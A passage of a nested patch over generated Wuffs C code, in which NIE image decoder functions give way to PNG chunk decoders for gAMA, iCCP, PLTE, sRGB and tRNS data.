wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 2)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; - wuffs_base__status status = wuffs_base__make_status(NULL); - -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } - -- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_gama; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_frame_config(self, a_dst, a_src); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_nie__error__truncated_input); -- goto exit; -+ if (self->private_impl.f_chunk_length != 4u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ self->private_impl.f_chunk_length = 0u; -+ self->private_impl.f_metadata_flavor = 5u; -+ self->private_impl.f_metadata_fourcc = 1195461953u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint64_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_0 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_gama.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_gama.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -+ if (num_bits_0 == 24) { -+ t_0 = ((uint64_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)); -+ } - } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ self->private_impl.f_metadata_x = t_0; - } -+ self->private_impl.f_metadata_y = 0u; -+ self->private_impl.f_metadata_z = 0u; - -+ goto ok; - ok: -- self->private_impl.p_decode_frame_config[0] = 0; -+ self->private_impl.p_decode_gama = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; -+ self->private_impl.p_decode_gama = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -+ - return status; - } - --// -------- func nie.decoder.do_decode_frame_config -+// -------- func png.decoder.decode_iccp - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_nie__decoder__do_decode_frame_config( -- wuffs_nie__decoder* self, -- wuffs_base__frame_config* a_dst, -+wuffs_png__decoder__decode_iccp( -+ wuffs_png__decoder* self, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -+ uint8_t v_c8 = 0; -+ - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -51351,62 +64529,63 @@ wuffs_nie__decoder__do_decode_frame_config( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_iccp; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_call_sequence == 32u) { -- } else if (self->private_impl.f_call_sequence < 32u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ while (true) { -+ if (self->private_impl.f_chunk_length <= 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; - } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_nie__decoder__do_decode_image_config(self, NULL, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ self->private_impl.f_chunk_length -= 1u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; - } -- if (status.repr) { -- goto suspend; -+ if (v_c8 == 0u) { -+ break; - } -- } else if (self->private_impl.f_call_sequence == 40u) { -- if (16u != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -- status = wuffs_base__make_status(wuffs_base__error__bad_restart); -- goto exit; -+ } -+ if (self->private_impl.f_chunk_length <= 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ self->private_impl.f_chunk_length -= 1u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- } else if (self->private_impl.f_call_sequence == 64u) { -- self->private_impl.f_call_sequence = 96u; -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } else { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; - } -- if (a_dst != NULL) { -- wuffs_base__frame_config__set( -- a_dst, -- wuffs_base__utility__make_rect_ie_u32( -- 0u, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height), -- ((wuffs_base__flicks)(0u)), -- 0u, -- 16u, -- 0u, -- false, -- false, -- 0u); -+ if (v_c8 != 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); -+ goto exit; - } -- self->private_impl.f_call_sequence = 64u; -+ self->private_impl.f_metadata_is_zlib_compressed = true; -+ self->private_impl.f_metadata_flavor = 4u; -+ self->private_impl.f_metadata_fourcc = 1229144912u; -+ self->private_impl.f_metadata_x = 0u; -+ self->private_impl.f_metadata_y = 0u; -+ self->private_impl.f_metadata_z = 0u; - -+ goto ok; - ok: -- self->private_impl.p_do_decode_frame_config[0] = 0; -+ self->private_impl.p_decode_iccp = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.p_decode_iccp = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -@@ -51417,182 +64596,119 @@ wuffs_nie__decoder__do_decode_frame_config( - return status; - } - --// -------- func nie.decoder.decode_frame -+// -------- func png.decoder.decode_plte - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_nie__decoder__decode_frame( -- wuffs_nie__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_dst || !a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 3)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; -+static wuffs_base__status -+wuffs_png__decoder__decode_plte( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_frame(self, -- a_dst, -- a_src, -- a_blend, -- a_workbuf, -- a_opts); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_nie__error__truncated_input); -- goto exit; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- } -+ uint32_t v_num_entries = 0; -+ uint32_t v_i = 0; -+ uint32_t v_argb = 0; - -- ok: -- self->private_impl.p_decode_frame[0] = 0; -- goto exit; -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } - -- goto suspend; -- suspend: -- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; -- -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -+ uint32_t coro_susp_point = self->private_impl.p_decode_plte; -+ if (coro_susp_point) { -+ v_num_entries = self->private_data.s_decode_plte.v_num_entries; -+ v_i = self->private_data.s_decode_plte.v_i; - } -- return status; --} -- --// -------- func nie.decoder.do_decode_frame -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_nie__decoder__do_decode_frame( -- wuffs_nie__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_call_sequence == 64u) { -- } else if (self->private_impl.f_call_sequence < 64u) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_nie__decoder__do_decode_frame_config(self, NULL, a_src); -- if (status.repr) { -- goto suspend; -- } -- } else { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } -- self->private_impl.f_dst_x = 0u; -- self->private_impl.f_dst_y = 0u; -- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -- wuffs_base__pixel_buffer__pixel_format(a_dst), -- wuffs_base__pixel_buffer__palette(a_dst), -- wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), -- wuffs_base__utility__empty_slice_u8(), -- a_blend); -- if ( ! wuffs_base__status__is_ok(&v_status)) { -- status = v_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -- } -- goto ok; -+ if ((self->private_impl.f_chunk_length > 768u) || ((self->private_impl.f_chunk_length % 3u) != 0u)) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; - } -- while (true) { -- v_status = wuffs_nie__decoder__swizzle(self, a_dst, a_src); -- if (wuffs_base__status__is_ok(&v_status)) { -- break; -- } else if (v_status.repr != wuffs_nie__note__internal_note_short_read) { -- status = v_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -+ v_num_entries = (((uint32_t)(self->private_impl.f_chunk_length)) / 3u); -+ self->private_impl.f_chunk_length = 0u; -+ while (v_i < v_num_entries) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint32_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { -+ t_0 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); -+ iop_a_src += 3; -+ } else { -+ self->private_data.s_decode_plte.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_plte.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -+ if (num_bits_0 == 16) { -+ t_0 = ((uint32_t)(*scratch >> 40)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)); -+ } - } -- goto ok; -+ v_argb = t_0; - } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ v_argb |= 4278190080u; -+ self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); -+ self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); -+ self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); -+ self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); -+ v_i += 1u; -+ } -+ while (v_i < 256u) { -+ self->private_data.f_src_palette[((4u * v_i) + 0u)] = 0u; -+ self->private_data.f_src_palette[((4u * v_i) + 1u)] = 0u; -+ self->private_data.f_src_palette[((4u * v_i) + 2u)] = 0u; -+ self->private_data.f_src_palette[((4u * v_i) + 3u)] = 255u; -+ v_i += 1u; - } -- self->private_impl.f_call_sequence = 96u; - -+ goto ok; - ok: -- self->private_impl.p_do_decode_frame[0] = 0; -+ self->private_impl.p_decode_plte = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.p_decode_plte = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_plte.v_num_entries = v_num_entries; -+ self->private_data.s_decode_plte.v_i = v_i; - - goto exit; - exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ - return status; - } - --// -------- func nie.decoder.swizzle -+// -------- func png.decoder.decode_srgb - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_nie__decoder__swizzle( -- wuffs_nie__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -+wuffs_png__decoder__decode_srgb( -+ wuffs_png__decoder* self, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- wuffs_base__pixel_format v_dst_pixfmt = {0}; -- uint32_t v_dst_bits_per_pixel = 0; -- uint32_t v_dst_bytes_per_pixel = 0; -- uint64_t v_dst_bytes_per_row = 0; -- uint32_t v_src_bytes_per_pixel = 0; -- wuffs_base__table_u8 v_tab = {0}; -- wuffs_base__slice_u8 v_dst = {0}; -- uint64_t v_i = 0; -- uint64_t v_j = 0; -- uint64_t v_n = 0; -- - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -51604,66 +64720,39 @@ wuffs_nie__decoder__swizzle( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -- if ((v_dst_bits_per_pixel & 7u) != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); -- goto exit; -- } -- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); -- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -- while (true) { -- if (self->private_impl.f_dst_x == self->private_impl.f_width) { -- self->private_impl.f_dst_x = 0u; -- self->private_impl.f_dst_y += 1u; -- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { -- break; -- } -- } -- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -- if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { -- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); -- } -- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); -- if (v_i >= ((uint64_t)(v_dst.len))) { -- v_src_bytes_per_pixel = 4u; -- if (self->private_impl.f_pixfmt == 2164308923u) { -- v_src_bytes_per_pixel = 8u; -- } -- v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); -- v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); -- v_j = v_n; -- while (v_j >= 8u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { -- iop_a_src += (v_src_bytes_per_pixel * 8u); -- } -- v_j -= 8u; -- } -- while (v_j > 0u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { -- iop_a_src += (v_src_bytes_per_pixel * 1u); -- } -- v_j -= 1u; -- } -- } else { -- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( -- &self->private_impl.f_swizzler, -- wuffs_base__slice_u8__subslice_i(v_dst, v_i), -- wuffs_base__pixel_buffer__palette(a_dst), -- &iop_a_src, -- io2_a_src); -+ uint32_t coro_susp_point = self->private_impl.p_decode_srgb; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_chunk_length != 1u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; - } -- if (v_n == 0u) { -- status = wuffs_base__make_status(wuffs_nie__note__internal_note_short_read); -- goto ok; -+ self->private_impl.f_chunk_length = 0u; -+ self->private_impl.f_metadata_flavor = 5u; -+ self->private_impl.f_metadata_fourcc = 1397901122u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t t_0 = *iop_a_src++; -+ self->private_impl.f_metadata_x = t_0; - } -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); -+ self->private_impl.f_metadata_y = 0u; -+ self->private_impl.f_metadata_z = 0u; -+ -+ goto ok; -+ ok: -+ self->private_impl.p_decode_srgb = 0; -+ goto exit; - } -- status = wuffs_base__make_status(NULL); -- goto ok; - -- ok: -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_srgb = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ - goto exit; - exit: - if (a_src && a_src->data.ptr) { -@@ -51673,131 +64762,199 @@ wuffs_nie__decoder__swizzle( - return status; - } - --// -------- func nie.decoder.frame_dirty_rect -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 --wuffs_nie__decoder__frame_dirty_rect( -- const wuffs_nie__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_rect_ie_u32(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_rect_ie_u32(); -- } -- -- return wuffs_base__utility__make_rect_ie_u32( -- 0u, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height); --} -- --// -------- func nie.decoder.num_animation_loops -+// -------- func png.decoder.decode_trns - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_nie__decoder__num_animation_loops( -- const wuffs_nie__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- return 0u; --} -+static wuffs_base__status -+wuffs_png__decoder__decode_trns( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - --// -------- func nie.decoder.num_decoded_frame_configs -+ uint32_t v_i = 0; -+ uint32_t v_n = 0; -+ uint64_t v_u = 0; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_nie__decoder__num_decoded_frame_configs( -- const wuffs_nie__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } - -- if (self->private_impl.f_call_sequence > 32u) { -- return 1u; -+ uint32_t coro_susp_point = self->private_impl.p_decode_trns; -+ if (coro_susp_point) { -+ v_i = self->private_data.s_decode_trns.v_i; -+ v_n = self->private_data.s_decode_trns.v_n; - } -- return 0u; --} -- --// -------- func nie.decoder.num_decoded_frames -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_nie__decoder__num_decoded_frames( -- const wuffs_nie__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+ if (self->private_impl.f_color_type == 0u) { -+ self->private_impl.choosy_filter_and_swizzle = ( -+ &wuffs_png__decoder__filter_and_swizzle_tricky); -+ if (self->private_impl.f_depth <= 8u) { -+ self->private_impl.f_dst_pixfmt = 2164295816u; -+ self->private_impl.f_src_pixfmt = 2164295816u; -+ } else { -+ self->private_impl.f_dst_pixfmt = 2164308923u; -+ self->private_impl.f_src_pixfmt = 2164308923u; -+ } -+ if (self->private_impl.f_chunk_length != 2u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ self->private_impl.f_chunk_length = 0u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint64_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_0 = ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_decode_trns.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_trns.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -+ if (num_bits_0 == 8) { -+ t_0 = ((uint64_t)(*scratch >> 48)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)); -+ } -+ } -+ v_u = t_0; -+ } -+ if (self->private_impl.f_depth <= 1u) { -+ self->private_impl.f_remap_transparency = (((v_u & 1u) * 16777215u) | 4278190080u); -+ } else if (self->private_impl.f_depth <= 2u) { -+ self->private_impl.f_remap_transparency = (((v_u & 3u) * 5592405u) | 4278190080u); -+ } else if (self->private_impl.f_depth <= 4u) { -+ self->private_impl.f_remap_transparency = (((v_u & 15u) * 1118481u) | 4278190080u); -+ } else if (self->private_impl.f_depth <= 8u) { -+ self->private_impl.f_remap_transparency = (((v_u & 255u) * 65793u) | 4278190080u); -+ } else { -+ self->private_impl.f_remap_transparency = ((v_u * 4295032833u) | 18446462598732840960u); -+ } -+ } else if (self->private_impl.f_color_type == 2u) { -+ self->private_impl.choosy_filter_and_swizzle = ( -+ &wuffs_png__decoder__filter_and_swizzle_tricky); -+ if (self->private_impl.f_depth <= 8u) { -+ self->private_impl.f_dst_pixfmt = 2164295816u; -+ self->private_impl.f_src_pixfmt = 2164295816u; -+ } else { -+ self->private_impl.f_dst_pixfmt = 2164308923u; -+ self->private_impl.f_src_pixfmt = 2164308923u; -+ } -+ if (self->private_impl.f_chunk_length != 6u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ self->private_impl.f_chunk_length = 0u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint64_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 6)) { -+ t_1 = ((uint64_t)(wuffs_base__peek_u48be__no_bounds_check(iop_a_src))); -+ iop_a_src += 6; -+ } else { -+ self->private_data.s_decode_trns.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_trns.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -+ if (num_bits_1 == 40) { -+ t_1 = ((uint64_t)(*scratch >> 16)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)); -+ } -+ } -+ v_u = t_1; -+ } -+ if (self->private_impl.f_depth <= 8u) { -+ self->private_impl.f_remap_transparency = ((255u & (v_u >> 0u)) | -+ (65280u & (v_u >> 8u)) | -+ (16711680u & (v_u >> 16u)) | -+ 4278190080u); -+ } else { -+ self->private_impl.f_remap_transparency = (v_u | 18446462598732840960u); -+ } -+ } else if (self->private_impl.f_color_type == 3u) { -+ self->private_impl.f_dst_pixfmt = 2164523016u; -+ self->private_impl.f_src_pixfmt = 2164523016u; -+ if (self->private_impl.f_chunk_length > 256u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ v_n = ((uint32_t)(self->private_impl.f_chunk_length)); -+ 